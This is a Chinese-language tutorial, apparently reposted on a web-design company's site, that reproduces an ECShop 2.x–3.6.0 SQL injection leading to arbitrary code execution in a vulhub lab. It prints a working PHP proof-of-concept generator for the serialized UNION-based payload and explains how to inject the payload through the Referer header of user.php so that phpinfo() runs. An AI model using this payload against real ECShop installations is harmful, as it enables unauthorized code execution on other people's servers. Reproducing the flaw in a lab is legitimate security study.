ECShopSQL注入任意代码执行漏洞复现是怎样的
ECShop SQL注入任意代码执行漏洞复现是怎样的,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。
创新互联公司是专业的乌尔禾网站建设公司,乌尔禾接单;提供网站制作、成都网站建设,网页设计,网站设计,建网站,PHP网站建设等专业做网站服务;采用PHP框架,可快速的进行乌尔禾网站开发网页制作和功能扩展;专业做搜索引擎喜爱的网站,专业的做网站团队,希望更多企业前来合作!
ECShop是一款B2C独立网店系统,适合企业及个人快速构建个性化网上商店。系统是基于PHP语言及MySQL数据库构架开发的跨平台开源程序。
其2017年及以前的版本中,存在一处SQL注入漏洞,通过该漏洞可注入恶意数据,最终导致任意代码执行漏洞。该漏洞在3.6.0版本之后已修复
影响版本: Ecshop 2.x Ecshop 3.x-3.6.0
下面仅作漏洞复现记录与实现,利用流程如下:
一、漏洞环境搭建
本次复现环境采用vulhub搭建,执行以下命令搭建平台
cd vulhub/ecshop/xianzhi-2017-02-82239600/
docker-compose up -d
执行之后开放8080端口(2.7.3版本)与8081端口(3.6.0版本)
mysql地址填写 mysql,mysql账户与密码均为 root,数据库名随意填写,但2.7.3与3.6.0的数据库名不能相同。
安装完毕后访问如下图所示
2.7.3版本
3.6.0版本
漏洞链接:http://192.168.101.152:8080/ http://192.168.101.152:8081/
二、漏洞复现
在vulhub上有漏洞利用脚本,拷贝下来放入seay工具的代码调试功能再执行就能得到poc了
$shell = bin2hex("{\$asd'];phpinfo\t();//}xxx");
$id = "-1' UNION/*";
$test = sprintf("*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -", bin2hex($id), $shell);
$arr = array();
$arr["num"]=$test;
$arr["id"]=$id;
$s = serialize($arr);
$hash4 = '45ea207d7a2b68c49582d2d22adf953a';
$hash3 = '554fcae493e564ee0dc75bdf2ebf94ca';
echo "POC for ECShop 2.x: \n";
echo "{$hash3}ads|{$s}{$hash3}";
echo "\n\nPOC for ECShop 3.x: \n";
echo "{$hash4}ads|{$s}{$hash4}";
?>
2.7.3版本
访问http://192.168.101.152:8080/user.php链接,使用burp抓包,添加referer请求头,然后将poc放入再请求,可以看到执行了phpinfo()
3.6.0版本
也是一样的步骤,访问http://192.168.101.152:8081/user.php,使用burp抓包,将poc放入referer请求头中,就可以看到执行了phpinfo()
看完上述内容是否对您有帮助呢?如果还想对相关知识有进一步的了解或阅读更多相关文章,请关注创新互联行业资讯频道,感谢您对创新互联的支持。
本文名称:ECShopSQL注入任意代码执行漏洞复现是怎样的
当前路径:http://myzitong.com/article/ghhigg.html